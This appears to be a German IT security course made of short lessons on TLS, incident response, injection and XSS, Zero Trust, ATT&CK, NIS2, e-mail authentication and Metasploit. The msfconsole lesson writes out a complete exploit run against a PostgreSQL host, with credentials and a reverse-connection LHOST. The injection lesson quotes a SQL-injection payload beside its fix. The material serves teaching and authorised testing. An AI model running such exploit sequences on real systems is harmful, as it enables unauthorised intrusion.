HTTPS ist eine notwendige Grundlage, kein Sicherheitsnachweis für die gesamte Anwendung.

Zum Selbermachen

Rufe deine Seite mit einem öffentlichen TLS-Prüfdienst auf und notiere, welche Protokollversionen aktiv sind.
Richte, falls noch nicht geschehen, die automatische Zertifikatserneuerung ein.

Quellen

IETF – RFC 8446 „The Transport Layer Security (TLS) Protocol Version 1.3“ (August 2018)
Hinweis: Eine spätere RFC (9846) zu TLS 1.3 existiert; prüfe beim Vertiefen, welche gilt.

Vorfälle bewältigen: Incident Response und Backups

Begriffe vorab

Incident: Sicherheitsvorfall mit tatsächlicher oder drohender Beeinträchtigung.
Incident Response: Vorbereitung, Erkennung, Eindämmung und Behebung von Vorfällen.
Ransomware: Schadsoftware, die Daten verschlüsselt und Lösegeld fordert.
3-2-1-Regel: Drei Kopien, zwei Medientypen, eine Kopie außer Haus.
Wiederherstellungstest: Übung, bei der eine Sicherung tatsächlich zurückgespielt wird.

Incident Response ist Teil des Risikomanagements

Das NIST hat seinen Leitfaden zur Behandlung von Sicherheitsvorfällen im April 2025 als SP 800-61 Revision 3 neu veröffentlicht. Er ersetzt die Revision 2 von 2012 und ist als Community-Profil des Cybersecurity Framework 2.0 aufgebaut. Der Kerngedanke: Vorfallbehandlung ist keine getrennte Sondertätigkeit eines Teams, sondern gehört zum gesamten Risikomanagement und berührt alle sechs Funktionen des CSF 2.0 – Govern, Identify, Protect, Detect, Respond, Recover.

Ein einfacher Ablauf

Vorbereiten: Zuständigkeiten, Kontaktwege und Notfallplan festlegen, Protokolle sammeln.
Erkennen: Auffälligkeiten melden und bewerten.
Eindämmen: Betroffene Systeme isolieren, Zugänge sperren.
Beheben und Wiederherstellen: Ursache beseitigen, Daten aus sauberen Sicherungen zurückspielen.
Lernen: Ursachen und Maßnahmen auswerten und Pläne anpassen.

Diese Reihenfolge ist eine didaktische Zusammenfassung; das NIST ordnet die Aufgaben den sechs CSF-Funktionen zu.

Backups gegen Ransomware

Die US-Behörde CISA empfiehlt, verschlüsselte Offline-Sicherungen kritischer Daten zu führen und deren Verfügbarkeit und Integrität regelmäßig zu testen. Der Hintergrund: Die meisten Ransomware-Gruppen versuchen, erreichbare Sicherungen zu löschen oder zu verschlüsseln. Empfohlen wird außerdem die 3-2-1-Regel: drei Kopien, zwei verschiedene Speichermedien, eine Kopie an einem anderen Ort.

Beispiel: Kursseite wird verschlüsselt

Nachts sind alle Seiten nicht erreichbar. Der Notfallplan nennt die Ansprechperson; der Server wird vom Netz getrennt, Zugangsdaten werden erneuert. Aus der Offline-Sicherung vom Vortag wird die Seite auf einer frischen Umgebung wiederhergestellt – das gelingt, weil die Rücksicherung zuvor getestet wurde. Danach wird die Einfallstelle gesucht (veraltetes Plugin?) und geschlossen.

Eine Sicherung, die nie zurückgespielt wurde, ist eine Hoffnung, kein Backup.

Zum Selbermachen

Schreibe einen einseitigen Notfallplan mit Ansprechpersonen und den ersten fünf Schritten.
Spiele eine Sicherung testweise in eine getrennte Umgebung ein und messe, wie lange es dauert.

Quellen

NIST – „SP 800-61 Rev. 3: Incident Response Recommendations and Considerations for Cybersecurity Risk Management: A CSF 2.0 Community Profile“ (April 2025)
CISA – „#StopRansomware Guide“
CISA – „Back Up Business Data“

Was ist das Metasploit Framework?

Das Metasploit Framework ist eine quelloffene, Ruby-basierte und modular aufgebaute Plattform fuer Penetrationstests, gepflegt von Rapid7. Es stellt eine Sammlung von Werkzeugen bereit, um Sicherheitsluecken zu testen, Netzwerke zu erkunden, Angriffe durchzuspielen und Erkennung zu umgehen – alles in einer gemeinsamen Umgebung.

Metasploit ist ein Werkzeug fuer autorisierte Sicherheitspruefungen. Man darf nur Systeme angehen, fuer deren Pruefung man eine ausdrueckliche Erlaubnis besitzt.

Zwei Produktvarianten

Metasploit Framework – der freie, quelloffene Kern, ueber die Kommandozeile bedient.
Metasploit Pro – die kommerzielle Erweiterung, beim Download als kostenlose Testversion enthalten.

Installation

Die offiziellen Nightly Installer von Rapid7 herunterladen und installieren, oder
Kali Linux verwenden, wo Metasploit bereits vorinstalliert ist.

Gestartet wird die Konsole mit dem Befehl msfconsole. Danach steht die Eingabeaufforderung msf > bereit.

Alles dreht sich um Module

Metasploit ist rund um das Konzept der Module aufgebaut: Jede Aufgabe – Scannen, Ausnutzen einer Luecke, Nachbereiten – ist als eigenes Modul umgesetzt. Diese Modularitaet zieht sich durch alle weiteren Kapitel.

Injection, XSS und CSRF verstehen und verhindern

Begriffe vorab

SQL-Injection: Eingaben verändern eine Datenbankabfrage, weil sie als Teil des SQL-Codes behandelt werden.
Prepared Statement: Abfrage mit Platzhaltern; Code und Daten werden getrennt übergeben.
XSS: Cross-Site Scripting: Fremder Skriptcode wird in einer Seite ausgeführt.
Ausgabekodierung: Umwandlung von Daten, damit sie als Text und nicht als Code dargestellt werden.
CSRF: Cross-Site Request Forgery: Eine fremde Seite löst im Namen einer angemeldeten Person eine Aktion aus.
SameSite: Cookie-Attribut, das steuert, wann Cookies bei Anfragen von anderen Seiten mitgesendet werden.

Das gemeinsame Muster

Bei Injection und XSS wird Eingabe zu Code: Ein Interpreter (Datenbank, Browser) kann Daten und Befehle nicht unterscheiden. Bei CSRF wird eine Anfrage ausgelöst, die der Server für beabsichtigt hält. Die Gegenmittel setzen jeweils an der Trennung von Daten und Code bzw. am Nachweis der Absicht an.

SQL-Injection

Der OWASP-Leitfaden nennt Prepared Statements mit parametrisierten Abfragen als erste und wichtigste Verteidigung. Der Abfragecode wird zuerst festgelegt, die Werte werden danach getrennt übergeben, sodass die Datenbank unabhängig von der Eingabe zwischen Code und Daten unterscheiden kann.

// Unsicher: Eingabe landet im SQL-Text
$wpdb->query( "SELECT * FROM {$wpdb->users} WHERE user_login = '$name'" );

// Sicher: Platzhalter, Wert wird getrennt übergeben
$wpdb->get_results(
    $wpdb->prepare( "SELECT * FROM {$wpdb->users} WHERE user_login = %s", $name )
);

Wird der Wert tom' or '1'='1 übergeben, sucht die abgesicherte Variante nach einem Nutzer mit genau diesem Namen, statt die Bedingung zu verändern.

Cross-Site-Scripting

Hauptschutz ist die Ausgabekodierung passend zum Kontext (HTML, Attribut, JavaScript, CSS, URL). Eine Content Security Policy begrenzt zusätzlich, welche Skripte laden dürfen, sollte aber mit anderen Maßnahmen kombiniert werden, weil sie allein schwer korrekt einzurichten und umgehbar sein kann.

CSRF

Wirksam sind CSRF-Tokens (ohne gültiges Token kann ein Angreifer keine gültige Anfrage erzeugen). Das Cookie-Attribut SameSite hilft zusätzlich: Mit „Lax“ wird das Cookie beim Senden eines Formulars von einer fremden Seite nicht mitgeschickt. OWASP rät, SameSite als zusätzliche Schicht zu verstehen und mit Tokens zu kombinieren.

Merksatz

Eingaben früh prüfen, Ausgaben spät kodieren, Anfragen mit Nachweis der Absicht absichern.

Entscheidend ist der Kontext: Dieselbe Zeichenfolge muss in HTML anders kodiert werden als in einer URL oder in JavaScript.

Zum Selbermachen

Schreibe eine Abfrage mit Platzhalter für eine Suche nach Titel und prüfe sie mit einem Hochkomma im Suchbegriff (nur in der Testumgebung).
Prüfe in den Entwicklerwerkzeugen deines Browsers, welche SameSite-Werte deine Sitzungscookies haben.

Quellen

OWASP Cheat Sheet Series – „SQL Injection Prevention“ und „Query Parameterization“
OWASP Cheat Sheet Series – „Cross Site Scripting Prevention“
OWASP Cheat Sheet Series – „Cross-Site Request Forgery Prevention“

Klassische Entwurfsprinzipien nach Saltzer und Schroeder

Begriffe vorab

Prinzip der geringsten Rechte: Jede Person und jedes Programm erhält nur die Rechte, die es braucht.
Fail-safe Defaults: Zugriff beruht auf ausdrücklicher Erlaubnis, nicht auf fehlendem Verbot.
Complete Mediation: Jeder Zugriff wird geprüft, nicht nur der erste.
Defense in Depth: Mehrere unabhängige Schutzschichten statt einer einzigen.
Angriffsfläche: Summe aller Stellen, an denen ein Angreifer ansetzen kann.

Ein Aufsatz von 1975, der noch gilt

Jerome Saltzer und Michael Schroeder veröffentlichten 1975 den Aufsatz „The Protection of Information in Computer Systems“. Darin stehen acht Entwurfsprinzipien, die bis heute zitiert werden: Economy of Mechanism (so einfach und klein wie möglich), Fail-safe Defaults (Erlaubnis statt Ausschluss), Complete Mediation (jeder Zugriff wird geprüft), Open Design (Sicherheit darf nicht von der Geheimhaltung des Entwurfs abhängen), Separation of Privilege (mehrere Bedingungen für den Zugriff), Least Privilege (so wenige Rechte wie möglich), Least Common Mechanism (wenig gemeinsam genutzte Mechanismen) und Psychological Acceptability (Schutz muss bedienbar sein).

Was daraus im Alltag folgt

Geringste Rechte: Ein Plugin, das nur Bilder skaliert, braucht keinen Schreibzugriff auf die gesamte Datenbank. Ein Datenbankkonto für die Anwendung braucht keine Administratorrechte.
Fail-safe Defaults: Neue Funktionen sind zunächst für niemanden freigegeben und werden gezielt geöffnet.
Complete Mediation: Berechtigungen werden bei jeder Anfrage serverseitig geprüft. Ein ausgeblendeter Menüpunkt ist kein Schutz.
Open Design: Starke Verfahren sind öffentlich bekannt; geheim bleiben nur die Schlüssel.
Psychologische Akzeptanz: Wenn Sicherheit nervt, wird sie umgangen. Gute Schutzmaßnahmen sind so bequem wie möglich.

Defense in Depth

Kein einzelner Schutz ist perfekt. Mehrere Schichten – zum Beispiel Eingabeprüfung, Ausgabekodierung, eingeschränkte Rechte und Protokollierung – sorgen dafür, dass ein Fehler an einer Stelle nicht sofort zum Schaden führt. Das Prinzip taucht in der Praxis überall auf: OWASP empfiehlt etwa, eine Content Security Policy mit weiteren Schutzmaßnahmen gegen Cross-Site-Scripting zu kombinieren, weil sie allein schwer korrekt einzurichten und umgehbar sein kann.

Beispiel: Admin-Funktion in einer Webanwendung

Eine Funktion „Benutzer löschen“ prüft (1) ob die Person angemeldet ist, (2) ob sie die Berechtigung dafür hat und (3) ob die Anfrage eine gültige Absicht belegt (Nonce bzw. Token). Fällt eine Prüfung aus, scheitert die Aktion – das ist Fail-safe Default und Separation of Privilege in einem.

Sicherheit durch Einfachheit: Jede Funktion, die du nicht baust, kann nicht angegriffen werden.

Zum Selbermachen

Prüfe ein eigenes Projekt: Welche Konten oder Plugins haben mehr Rechte, als sie brauchen?
Schreibe für eine kritische Aktion auf, welche drei voneinander unabhängigen Prüfungen sie absichern.

Quellen

Jerome H. Saltzer, Michael D. Schroeder – „The Protection of Information in Computer Systems“ (Proceedings of the IEEE, 1975)
OWASP Cheat Sheet Series – „Cross Site Scripting Prevention“

Literatur: Netzwerk, E-Mail und Open Source

Begriffe vorab

Primärquelle: Originaltext eines Standards oder einer Studie.
RFC: Dokument der IETF, in dem Internetstandards stehen.
Fallstudie: Dokumentierter Vorfall zum Lernen.
Leitfaden: Praktische Handreichung.

Netzwerk für Einsteiger

RFC 1034 und RFC 1035 (1987). Die Ursprünge von DNS.
RFC 4033. DNSSEC: Herkunftsnachweis und Integrität.
RFC 7858 und RFC 8484. DNS über TLS und über HTTPS.
Donenfeld (NDSS 2017) – WireGuard. Das Protokoll hinter vielen modernen VPNs.
NIST SP 800-41 Rev. 1. Firewalls und „Deny by Default“.

E-Mail und Phishing

RFC 7208, RFC 6376, RFC 7489. SPF, DKIM, DMARC.
CISA – „Recognize and Report Phishing“. Warnzeichen und Meldeweg.

Open Source

CISA-Hinweis zu Heartbleed (2014). Eine Fallstudie über Speicherfehler und Pflege.
Berichte zu Log4Shell (Dezember 2021). Eine Fallstudie über Lieferketten.
OpenSSF Scorecard. Bewertung von Projekten.
NTIA – Minimum Elements for an SBOM (2021). Stückliste für Software.
SLSA-Spezifikation. Herkunft und Build-Integrität.
FIRST – CVSS v4.0 und RFC 9116. Bewerten und melden.

Ein Lesepfad für Einsteiger

DNS-Lektion und danach RFC 1034 (nur die Einleitung).
VPN- und WLAN-Lektion, danach die WireGuard-Veröffentlichung (Zusammenfassung und Einleitung).
Phishing und E-Mail-Absicherung; danach die CISA-Seite lesen.
Heartbleed und Log4Shell als Fallstudien, anschließend SBOM und SLSA.
Zuletzt die Schwachstellenbewertung und das Anlegen einer eigenen security.txt.

Beachte bei technischen Standards, dass sie überarbeitet werden: Neuere RFCs können ältere ablösen oder ergänzen (zum Beispiel bei TLS 1.3 und DMARC). Prüfe auf rfc-editor.org, welche Fassung aktuell ist.

Hinweis zu Anbieterquellen

Viele Texte zu VPN stammen von VPN-Anbietern und sind interessengeleitet. Für Aussagen zu Protokollen sind Standards und Veröffentlichungen unabhängiger Forschung vorzuziehen. Bei Marketingtexten gilt: erst die technischen Grundlagen verstehen, dann Versprechen prüfen.

Wie du die Quellen kombinierst

Eine bewährte Lernreihenfolge ist: erst die Erklärung in dieser Themenwelt lesen, dann die Primärquelle überfliegen und schließlich in einer eigenen Testumgebung etwas ausprobieren. Beim Thema DNS bedeutet das zum Beispiel: Lektion lesen, die Einleitung von RFC 1034 anschauen und anschließend mit einem Abfragewerkzeug die Einträge einer eigenen Domain ansehen. Beim Thema Open Source: Lektion lesen, die SBOM-Mindestangaben der NTIA durchgehen und eine SBOM für ein eigenes Projekt erzeugen.

Lies zu jedem Thema mindestens eine Primärquelle, auch wenn du nur die Einleitung liest.

Zum Selbermachen

Wähle einen RFC aus der Liste und fasse ihn in fünf Sätzen zusammen.
Suche für ein Thema aus dieser Liste eine unabhängige Quelle und vergleiche sie mit einer Anbieterseite.

Quellen

Die vollständigen Angaben stehen in den Quellenlisten der Lektionen zu Netzwerk, E-Mail und Open Source.
Fundorte: rfc-editor.org, datatracker.ietf.org, ndss-symposium.org, nvlpubs.nist.gov, cisa.gov, openssf.org, ntia.gov, first.org.

Mehrfaktor, Passkeys und Zero Trust

Begriffe vorab

Mehrfaktor-Authentifizierung (MFA): Anmeldung mit mindestens zwei unabhängigen Faktoren, etwa Wissen und Besitz.
FIDO2: Standardfamilie aus WebAuthn (W3C) und CTAP (FIDO Alliance) für Anmeldung mit öffentlichen Schlüsseln.
Passkey: Nutzernahe Bezeichnung für ein FIDO2-Anmeldeverfahren mit auffindbaren Zugangsdaten.
Phishing-Resistenz: Eine gefälschte Seite kann die Anmeldedaten nicht verwenden.
Zero Trust: Ansatz, bei dem kein Gerät und kein Konto allein wegen seines Standorts als vertrauenswürdig gilt.

Warum ein zweiter Faktor hilft

Ein gestohlenes oder erratenes Passwort reicht bei MFA nicht für die Anmeldung. Faktoren sind etwas, das man weiß (Passwort), hat (Sicherheitsschlüssel, Telefon) oder ist (biometrisches Merkmal). Nicht alle Verfahren schützen gleich gut: Einmalcodes lassen sich auf einer gefälschten Seite abfangen, kryptografische Verfahren nach FIDO2 nicht.

FIDO2, WebAuthn und Passkeys

FIDO2 besteht aus zwei Standards: der Web Authentication API (WebAuthn) des W3C und dem Client to Authenticator Protocol (CTAP) der FIDO Alliance. WebAuthn wurde am 4. März 2019 von W3C und FIDO Alliance zum offiziellen Webstandard erklärt. Das Verfahren arbeitet mit Schlüsselpaaren: Der private Schlüssel bleibt auf dem Gerät, der Dienst kennt nur den öffentlichen. Zugangsdaten sind an die Domain des Dienstes gebunden, sodass eine fremde Seite sie nicht verwenden kann – das ergibt die Phishing-Resistenz. Als Passkey bezeichnet man im Alltag ein FIDO2-Anmeldeverfahren mit auffindbaren Zugangsdaten; bei synchronisierten Passkeys wird der private Schlüssel zwischen Geräten über einen Anbieter synchronisiert.

Zero Trust

Das NIST beschreibt in SP 800-207 (August 2020) die Zero-Trust-Architektur: Kein Gerät und kein Konto erhält implizites Vertrauen allein wegen seines Netzwerkstandorts oder seiner Eigentümerschaft. Stattdessen wird Zugriff auf Ressourcen auf die Subjekte begrenzt, die ihn brauchen, und das Risiko laufend neu bewertet. Zero Trust ist damit eher ein Prinzip als ein Produkt.

Ein durchgespieltes Beispiel

Ein Team arbeitet mit einer internen Wissensdatenbank. Früher genügte eine Anmeldung im Firmennetz. Mit Zero Trust prüft jeder Zugriff Identität (Passkey), Gerätezustand und Berechtigung; ein Zugriff aus dem Büro erhält keinen Sonderstatus. Wird ein Notebook gestohlen, begrenzt das gebundene Schlüsselmaterial und der Entzug der Berechtigung den Schaden.

Reihenfolge der Maßnahmen: zuerst überall MFA, dann nach Möglichkeit phishing-resistente Verfahren wie Passkeys.

Zum Selbermachen

Prüfe, bei welchen deiner wichtigen Konten ein Passkey angeboten wird, und richte einen ein.
Skizziere für ein Projekt, welche Zugriffe heute allein wegen des Standorts erlaubt sind.

Quellen

W3C und FIDO Alliance – „W3C and FIDO Alliance Finalize Web Standard for Secure, Passwordless Logins“ (4. März 2019)
NIST – „SP 800-207: Zero Trust Architecture“ (August 2020)

MITRE ATT&CK: Angreiferverhalten systematisch beschreiben

Begriffe vorab

Taktik: Das Ziel eines Angreifers in einer Phase, z. B. Erstzugriff oder Rechteausweitung.
Technik: Konkrete Vorgehensweise, mit der eine Taktik erreicht wird.
Threat Hunting: Gezielte Suche nach Angreifern im eigenen Netz.
Detection: Erkennungsregel, die ein Verhalten sichtbar macht.
Red Team: Gruppe, die im Auftrag Angriffe nachstellt, um Abwehr zu testen.

Was ATT&CK ist

MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) ist eine öffentlich zugängliche Wissensbasis über Taktiken und Techniken von Angreifern, die auf beobachteten Vorfällen beruht. Sie bildet eine gemeinsame Sprache: Statt „der Angreifer hat sich eingeschlichen“ lässt sich genau sagen, welche Technik in welcher Phase verwendet wurde.

Aufbau: Taktiken als Spalten, Techniken als Zellen

Die Matrix ordnet Techniken nach Taktiken, also nach dem Ziel in einer Phase des Angriffs, etwa Erstzugriff, Rechteausweitung oder Datenabfluss. Es gibt Matrizen für Unternehmensnetze, Cloud, Mobilgeräte und industrielle Steuerungssysteme.

Wofür man es nutzt

Lücken finden: Welche Techniken würden wir überhaupt bemerken?
Erkennung organisieren: Erkennungsregeln einer Technik zuordnen.
Threat Hunting: Hypothesen ableiten („Würde jemand Zugangsdaten abgreifen, wie sähe das aus?“).
Red-Team-Übungen planen und Gegenmaßnahmen prüfen.

Ein Beispiel

Ein Team ordnet seine Protokolle den Taktiken zu und stellt fest: Für „Erstzugriff über Phishing“ gibt es Erkennung, für „Daten über erlaubte Webdienste abführen“ nicht. Daraus entsteht eine Arbeitsliste: Netzwerkprotokolle auswerten, Alarmschwellen setzen, Übung planen.

ATT&CK beschreibt Verhalten nach dem Einbruch und ersetzt keine Basismaßnahmen wie Updates, MFA und Backups. Es ist ein Werkzeug zum Verstehen, kein Gütesiegel.

Grenzen

Die Wissensbasis bildet beobachtetes Verhalten ab; unbekannte oder neue Techniken fehlen zunächst. Wer eine Technik „abgedeckt“ nennt, sollte die Erkennung tatsächlich testen und nicht nur einer Technik zuordnen.

Nutze ATT&CK als Landkarte deiner Erkennung: eine Technik ist erst abgedeckt, wenn du sie in einer Übung wirklich bemerkt hast.

Zum Selbermachen

Wähle drei Techniken und prüfe, ob eure Protokolle sie sichtbar machen würden.
Lies die Beschreibung einer Technik und notiere zwei Gegenmaßnahmen.

Quellen

MITRE – „MITRE ATT&CK“ (attack.mitre.org)
CISA – „Best Practices for MITRE ATT&CK Mapping“ (2023)

msfconsole: Bedienung und Arbeitsablauf

Die msfconsole ist die am haeufigsten genutzte Schnittstelle. Ihr Startbanner zeigt Version und die Anzahl der Module je Typ, zum Beispiel:

=[ metasploit v6.3.35-dev ]
+ -- --=[ 2357 exploits - 1227 auxiliary - 413 post ]
+ -- --=[ 1387 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Der typische Ablauf

search – ein passendes Modul finden.
use – das Modul auswaehlen und in seinen Kontext wechseln.
options / show options – die einstellbaren Werte ansehen.
set – die noetigen Werte belegen.
run bzw. exploit – das Modul ausfuehren.

Beispielablauf

msf > use exploit/linux/postgres/postgres_payload
set username administrator
set password pass
set rhost 192.168.123.6
set rport 5432
set lhost 192.168.123.1
set lport 5000
run

Wichtige Optionen

RHOSTS / RHOST – Zielsystem(e); mehrere Werte oder ein CIDR-Bereich wie set rhosts 10.0.0.0/24 sind moeglich.
RPORT – Zielport.
PAYLOAD – der Code, der nach erfolgreichem Exploit laeuft.
LHOST / LPORT – Adresse und Port fuer die Rueckverbindung eines Payloads.

Ueber ein VPN muss LHOST oft auf die VPN-Adresse (z. B. die tun0-IP) gesetzt werden, damit der Payload zurueckfindet.

Globale Optionen und Automatisierung

Mit setg statt set wird eine Option global im Datastore abgelegt, sodass sie fuer alle Module gilt (z. B. ein wiederkehrendes LHOST). Wiederkehrende Befehlsfolgen lassen sich als Resource-Skript (.rc) ablegen und mit resource datei.rc oder direkt beim Start mit msfconsole -r datei.rc automatisiert abspielen.

Hilfsbefehle

help – verfuegbare Befehle des aktuellen Modus.
info <modul> / info -d – Details bzw. ausfuehrliche Beschreibung.
show missing – nur die noch fehlenden Pflichtoptionen.
back – zurueck aus dem Modul-Kontext in die allgemeine Konsole.

Seit 2021 gibt es Inline-Optionen: Man kann ein Modul ausfuehren und seine Optionen im selben Befehl angeben, statt jede einzeln mit set zu belegen.

NIS2 und DSGVO Art. 32: was Recht von Technik verlangt

Begriffe vorab

NIS2: EU-Richtlinie für ein hohes gemeinsames Cybersicherheitsniveau.
BSIG: Gesetz über das Bundesamt für Sicherheit in der Informationstechnik, in Deutschland Träger der NIS2-Umsetzung.
TOM: Technische und organisatorische Maßnahmen.
Pseudonymisierung: Daten werden so verändert, dass sie ohne Zusatzinformationen keiner Person zugeordnet werden können.
Stand der Technik: Maßstab, der sich mit der Entwicklung ändert.

DSGVO Artikel 32

Artikel 32 verpflichtet Verantwortliche und Auftragsverarbeiter zu geeigneten technischen und organisatorischen Maßnahmen, die ein dem Risiko angemessenes Schutzniveau sicherstellen. Maßstab sind der Stand der Technik, die Implementierungskosten und das Risiko für die Betroffenen. Der Artikel nennt Beispiele: Pseudonymisierung und Verschlüsselung; die Fähigkeit, Vertraulichkeit, Integrität, Verfügbarkeit und Belastbarkeit der Systeme dauerhaft sicherzustellen; die Fähigkeit, Verfügbarkeit und Zugang nach einem Zwischenfall rasch wiederherzustellen; und ein Verfahren zur regelmäßigen Überprüfung der Wirksamkeit der Maßnahmen.

NIS2 in Deutschland

Das deutsche Gesetz zur Umsetzung der NIS-2-Richtlinie wurde am 21. November 2025 vom Bundesrat bestätigt und trat mit Veröffentlichung im Bundesgesetzblatt am 6. Dezember 2025 in Kraft, nach Berichten ohne Übergangsfristen. Es ist keine eigene Rechtsvorschrift, sondern eine umfassende Überarbeitung des BSI-Gesetzes. Nach Angaben, die in Sekundärquellen dem Bundesinnenministerium zugeschrieben werden, sind rund 30.000 Unternehmen betroffen, gegenüber bislang etwa 4.500 regulierten.

Gemeinsamer Nenner

Beide Regelwerke wollen kein bestimmtes Produkt, sondern ein angemessenes, nachweisbares Sicherheitsniveau. Für die Praxis bedeutet das: Risiken kennen, Maßnahmen begründen, Vorfälle bewältigen können, Wirksamkeit prüfen und dokumentieren. Wer die Inhalte der vorherigen Lektionen anwendet (Schutzziele, Zugriffskontrolle, Verschlüsselung, Sicherungen, Vorfallplan), erfüllt viele Bausteine – ob das im Einzelfall genügt, ist eine Rechtsfrage.

Beispiel: Webshop mit Kundendaten

Der Shop verschlüsselt Verbindungen (TLS), speichert Passwörter nur gehasht, trennt Rechte, sichert täglich offline, testet die Wiederherstellung quartalsweise und dokumentiert diese Maßnahmen als TOM. Bei Auftragsverarbeitern prüft er deren Maßnahmen ebenfalls.

Dies ist eine Lernübersicht und keine Rechtsberatung. Ob eine Organisation unter NIS2 fällt und welche Pflichten gelten, klärt eine fachkundige Prüfung.

Dokumentiere, was du tust und warum: Nachweisbarkeit ist bei beiden Regelwerken ein Kernpunkt.

Zum Selbermachen

Liste die TOMs eines Projekts auf und ordne sie den Beispielen aus Art. 32 zu.
Prüfe mit der offiziellen Betroffenheitsprüfung des BSI, ob eine Organisation unter NIS2 fallen könnte.

Quellen

DSGVO (Verordnung (EU) 2016/679), Art. 32
Richtlinie (EU) 2022/2555 (NIS-2-Richtlinie)
Deloitte – „Umsetzung der EU-Direktive NIS2 in Deutschland“; kes – „NIS-2-Umsetzungsgesetz ab 6. Dezember in Kraft“

Open-Source-Komponenten bewerten und pflegen

Begriffe vorab

Abhängigkeit: Fremde Bibliothek oder Paket, das dein Projekt nutzt.
Transitive Abhängigkeit: Abhängigkeit einer Abhängigkeit.
Lockfile: Datei, die genaue Versionen festschreibt.
Pinning: Festlegen auf eine bestimmte Version oder einen bestimmten Prüfwert.
OpenSSF Scorecard: Automatisches Werkzeug, das Sicherheitspraktiken eines Open-Source-Projekts bewertet.

Vor dem Einbau: Ist die Komponente gesund?

Jede Abhängigkeit vergrößert die Angriffsfläche. Prüfe vor dem Einbau, ob sie gepflegt wird, wer dahintersteht, wie schnell auf Meldungen reagiert wird und ob es einen Weg gibt, Schwachstellen zu melden. Ein Hilfsmittel ist die OpenSSF Scorecard, die im November 2020 vorgestellt wurde: Sie prüft automatisch Sicherheitspraktiken eines Projekts und vergibt eine Bewertung von 0 bis 10. Zu den Prüfungen gehören zum Beispiel Branch-Protection (Schutz vor ungeprüften Änderungen), Dependency-Update-Tool (automatische Aktualisierung der Abhängigkeiten) und Pinned-Dependencies (festgelegte Versionen). Nach einer Quelle sind es 18 Kriterien.

Während des Betriebs: Pflegen statt vergessen

Versionen festschreiben (Lockfile), damit Builds reproduzierbar bleiben und sich keine Überraschungen einschleichen.
Automatische Update-Vorschläge nutzen und diese prüfen, statt blind zu übernehmen.
Ungenutztes entfernen: Jede entfernte Abhängigkeit ist eine weniger.
Sicherheitsmeldungen beobachten für die Komponenten, die wirklich kritisch sind.
Bei Aufgabe eines Projekts rechtzeitig einen Ersatz suchen.

Die Grenzen von Bewertungen

Ein hoher Score bedeutet gute Praxis, nicht fehlerfreien Code. Ein niedriger Score kann bei kleinen, ruhigen Projekten auch einfach heißen, dass Automatisierung fehlt. Der Score ersetzt weder Codeprüfung noch eigene Tests.

Beispiel: Plugin auswählen

Zwei WordPress-Plugins erfüllen dieselbe Aufgabe. Plugin A wurde zuletzt vor drei Jahren aktualisiert, hat keinen Meldeweg für Schwachstellen und viele Abhängigkeiten. Plugin B wird regelmäßig gepflegt, veröffentlicht Änderungen mit nachvollziehbaren Hinweisen und hat eine security.txt. Die Wahl fällt auf B, auch wenn A ein paar Funktionen mehr bietet.

Weniger Abhängigkeiten sind besser als besser bewertete Abhängigkeiten.

Zum Selbermachen

Liste die zehn wichtigsten Abhängigkeiten eines Projekts auf und notiere Datum der letzten Version und den Meldeweg für Schwachstellen.
Aktiviere für ein Projekt einen automatischen Update-Hinweis und prüfe die ersten Vorschläge.

Quellen

OpenSSF – „Security Scorecards for Open Source Projects“ (6. November 2020) und scorecard.dev
OpenSSF Scorecard: „On the Path Toward Ecosystem-wide Automated Security Metrics“ (arXiv 2208.03412)

SPF, DKIM und DMARC: E-Mail-Absender absichern

Begriffe vorab

SPF: Sender Policy Framework: DNS-Eintrag, der festlegt, welche Server für eine Domain senden dürfen.
DKIM: DomainKeys Identified Mail: digitale Signatur der Nachricht.
DMARC: Regelwerk und Berichtswesen, das SPF und DKIM zusammenführt.
Spoofing: Fälschen einer Absenderadresse.
Policy: Anweisung der Domaininhaber, was bei einer fehlgeschlagenen Prüfung geschehen soll.

Das Problem

Das E-Mail-Protokoll sah ursprünglich keine Prüfung des Absenders vor. Jeder kann „von“ eine beliebige Adresse eintragen. Drei Verfahren, die alle auf DNS-Einträgen aufbauen, begegnen dem.

SPF (RFC 7208)

Der Domaininhaber veröffentlicht in einem DNS-TXT-Eintrag, welche Server E-Mail im Namen der Domain versenden dürfen. Der empfangende Server vergleicht die sendende Adresse mit dieser Liste. SPF prüft den Absender im technischen „Umschlag“ der Nachricht (Envelope Sender).

DKIM (RFC 6376)

Der sendende Server signiert die Nachricht digital. Der öffentliche Schlüssel steht im DNS. Der Empfänger kann so prüfen, dass die Nachricht nicht verändert wurde und von der angegebenen Domain stammt.

DMARC (RFC 7489)

DMARC verbindet beide: Der Empfänger prüft, ob SPF oder DKIM bestanden wurden und zur sichtbaren Absenderadresse im „Von“-Feld passen. Die Domaininhaber legen in einer Policy fest, was bei Fehlschlägen geschehen soll, und erhalten Berichte darüber, wer in ihrem Namen sendet – auch Angreifer, die ihre Domain fälschen.

Wie man einführt

Alle legitimen Absender inventarisieren (Newsletter-Dienst, Shop, Supportsystem).
SPF und DKIM für diese Absender einrichten.
DMARC zunächst nur beobachtend einführen und Berichte auswerten.
Erst wenn die Berichte sauber sind, strengere Policies setzen.

Beispiel

Ein Kursanbieter versendet Rechnungen über sein Shop-System. Ohne Einträge können Betrüger Mails mit seiner Domain als Absender verschicken. Mit SPF, DKIM und DMARC lehnt ein Empfänger gefälschte Mails ab oder stuft sie ein, und der Anbieter sieht in den Berichten, wer versucht hat, seine Domain zu missbrauchen.

Die Verfahren schützen die Domain vor Fälschung, nicht den Empfänger vor jeder Phishing-Mail: Betrüger können weiterhin ähnlich klingende, eigene Domains registrieren.

Beobachten vor Durchsetzen: Eine zu strenge DMARC-Policy kann legitime Mails blockieren.

Zum Selbermachen

Prüfe mit einem öffentlichen Werkzeug die SPF-, DKIM- und DMARC-Einträge deiner Domain.
Erstelle eine Liste aller Dienste, die in deinem Namen E-Mails versenden.

Quellen

IETF – RFC 7208 „Sender Policy Framework (SPF)“
IETF – RFC 6376 „DomainKeys Identified Mail (DKIM) Signatures“
IETF – RFC 7489 „Domain-based Message Authentication, Reporting, and Conformance (DMARC)“; vgl. auch RFC 9989

VPN verstehen: was ein VPN leistet und was nicht

Begriffe vorab

VPN: Virtual Private Network: verschlüsselter Tunnel zwischen deinem Gerät und einem VPN-Server.
Tunnel: Paket in Paket: Deine Daten werden verpackt und zum VPN-Server transportiert.
WireGuard: Modernes, schlankes VPN-Protokoll von Jason Donenfeld.
Split Tunneling: Nur ein Teil des Verkehrs läuft durch das VPN.
